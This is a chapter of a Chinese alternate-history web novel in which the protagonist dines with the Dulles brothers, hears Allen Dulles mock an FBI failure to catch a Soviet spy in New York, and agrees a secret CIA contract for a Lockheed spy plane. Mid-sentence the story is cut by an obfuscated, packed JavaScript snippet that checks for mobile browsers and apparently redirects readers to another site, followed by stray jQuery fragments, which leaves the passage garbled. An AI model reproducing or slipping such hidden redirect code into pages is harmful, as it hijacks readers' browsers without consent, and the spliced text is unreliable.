等处理完公事,李长安正准备下班的时候,凯瑟琳再次敲响了门,手里是那个熟悉的深蓝色信封。
“先生,还是国务卿办公室。”
李长安拆开封口,里面是同样的简洁卡片:“今晚八点,老地方。——D”
没有多余的字。
李长安知道这是又有事情要私下商量。
他给陈芸莉打了电话简单交代,便让常飞备车。
七点五十分,黑色凯迪拉克再次驶入宾夕法尼亚大道1600号后巷。雨点开始零星打在车窗上。
李长安打开车门,有侍者就为李长安打开雨伞。
那扇不起眼的橡木门如上次般无声开启。
走廊里弥漫的雪茄和皮革味似乎比上次更浓重了些。
厅堂内,壁炉依然燃着,但今晚餐桌上只摆了两副餐具。
福斯特·杜勒斯独自站在世界地图前,手里端着酒杯,正凝视着东欧区域密密麻麻的标记。
“肖恩,”他闻声转身,露出笑容,“准时是美德。”
“福斯特。”李长安脱下外套递给侍者,“艾伦还没到?”
“他在处理一些‘家务事’,马上就来。”福斯特的语气略带深意,“坐,先喝一杯。今晚的波特酒很不错。”
两人在壁炉旁的沙发落座。
侍者送上酒后退下。
李长安注意到福斯特眉宇间有一丝不易察觉的疲惫。
“柏林的情况不太妙,”福斯特啜了一口酒,目光重新投向地图,“苏联人又在增加驻军,东德的边防巡逻越来越频繁。我们的一些...渠道暗示,他们可能在策划一次新的试探。”
“关于空中走廊?”李长安问。
“可能不止。”福斯特放下酒杯,“赫鲁晓夫不喜欢现状,他想改变规则。而改变规则往往从试探底线开始。”
侍者为两人的酒杯重新斟满。
福斯特端起酒杯,话锋一转,语气中那丝疲惫被一种审慎的满意取代:“不过,关于对台援助,你今天开始推进,做的不错,就是要让他们知道知道,我们的援助不是那么好拿的。”
别看杜勒斯表面上对董显光说是全权交给李长安,实际上他也不想那么早给援助。
“福斯特,还是得靠你的支持!”李长安谦逊地回应,与福斯特轻轻碰杯。
这时,厅堂侧门被推开,艾伦·杜勒斯大步走了进来。他穿着一件略显皱巴的西装,领带松垮,脸上带着一种混合着兴奋与讥诮的神情。
“抱歉迟到,先生们。”艾伦挥手让侍者给自己倒了一大杯威士忌,一饮而尽,“刚结束一个令人愉悦又沮丧的会议。”
“又是预算委员会?”福斯特问。
“比那有趣得多。”艾伦坐进沙发,解开领扣,眼睛里闪着光,“是关于我们亲爱的兄弟部门,联邦调查局的一次精彩绝伦的演出。”
他看向李长安,笑容里满是讽刺:“肖恩,你听说了吗?就在昨晚,在纽约,我们英勇的FBI同僚们精心布置了一个陷阱,要抓一个苏联间谍——一个试图窃取英国公主访问行程安保细节的家伙。他们提前布控,调动了两个小组,结果呢?”
艾伦又给自己倒了一杯酒,模仿着戏剧化的语调:“目标完成交接,然后在他们扑上去的瞬间,一个漂亮的鱼跃——噗通!跳进了东河!消失了!而他们只抓到了一个吓得尿裤子的内鬼文书。”
他大笑起来,笑声在房间里回荡:“上帝啊,我简直能想象胡佛今早的表情。他肯定把纽约分局那个可怜虫克罗伊格骂得狗血淋头。‘我们调动了资源,布置了天罗地网,结果让人带着情报游走了!’”
福斯特皱了皱眉:“艾伦,注意点。胡佛先生毕竟是...”
“是什么?一个把FBI当成自己封地的官僚?”艾伦嗤之以鼻。
也不怪艾伦有这种想法,在CIA看来FBI就是一群低级警察,自己才是主导国际局势的精英。
“福斯特,我们都知道事实。FBI擅长抓银行**、追捕逃犯、监听红党外围分子。但面对真正的国家级对手?面对克格勃那些受过严格训练、冷酷无情的非法情报官?他们就像拿着网兜追黄蜂的孩子。”
他转向李长安,身体前倾:“你知道最可笑的是什么吗?那个内鬼——亚当·米勒,特情局的一个档案管理员——招供说,和他接头的人每次看起来都不一样。身高、体型、发色、口音...变化多端。FBI的画师画出来的肖像,是个没有面孔的幽灵。而我们胡佛先生的反应是什么?把现场指挥的探员调去管**了!这就是他的解决方案:惩罚自己人,假装问题不存在。”
李长安安静地听着,手指缓缓转动酒杯。
没想到克
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17072913|176327||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
格勃还真动用关系窃取公主的行程。
但李长安假装评论道。
“听起来对手很专业。”
“专业?”艾伦哼了一声。
“是顶尖水准。这种级别的行动人员,在纽约活动,目标明确指向你和英国公主的会面。这说明什么?说明莫斯科对这次访问的重视程度超乎寻常。他们想从中得到什么?英国王室的**倾向?还是想寻找机会制造事端?”
他喝了一口酒,表情严肃下来:“而我们的FBI同僚们,却在忙着内部倾轧和推卸责任。胡佛更关心他的个**威和FBI的公众形象,而不是真正去对付那个在纽约来去自如的苏联幽灵。”
见艾伦在那里说个没完没了,福斯特轻咳一声,将话题拉回:“艾伦,肖恩不是来听我们抱怨FBI的。”
“当然,当然。”艾伦摆摆手,深吸一口气,重新坐直身体。
“抱歉,肖恩。这个话题总让我血压升高。说正事——我的人和你的人已经对接过了,技术细节我们都很满意。凯利·约翰逊的团队确实没让人失望。”
李长安微微一笑:“凯利是个追求完美的人。‘天使’项目是他的心血。”
“那么,我们可以进入下一步了。”
艾伦从随身公文包里取出一份薄薄的文件夹,推到李长安面前。
“这是合同的初步框架。两千八百万美元,分三期支付。首期八百万,签约后十个工作日内到账。原型机二十个月内首飞,所有测试数据共享,团队接受我们的背景审查——只是走个形式,我们信任凯利挑选的人。”
他顿了顿,加重语气:“最重要的条款在这里——绝对保密。没有纸质文档流转,没有常规审计,不对任何国会委员会汇报。这是一件‘不存在’的武器。”
李长安接过文件夹,快速浏览了关键条款,点了点头:“条款很清晰。洛克希德接受这些条件。‘臭鼬工厂’就是为这种工作而存在的。”
“很好。”艾伦露出笑容,“那么,为我们的合作干一杯?”
侍者适时出现,为三人换上新的酒杯。这次是香槟。
“为了‘天使’。”福斯特举杯。
“为了看不见的眼睛。”艾伦补充。
“为了**。”李长安说。
三只杯子在空中相碰,清脆的声响与窗外的雷声隐隐重合。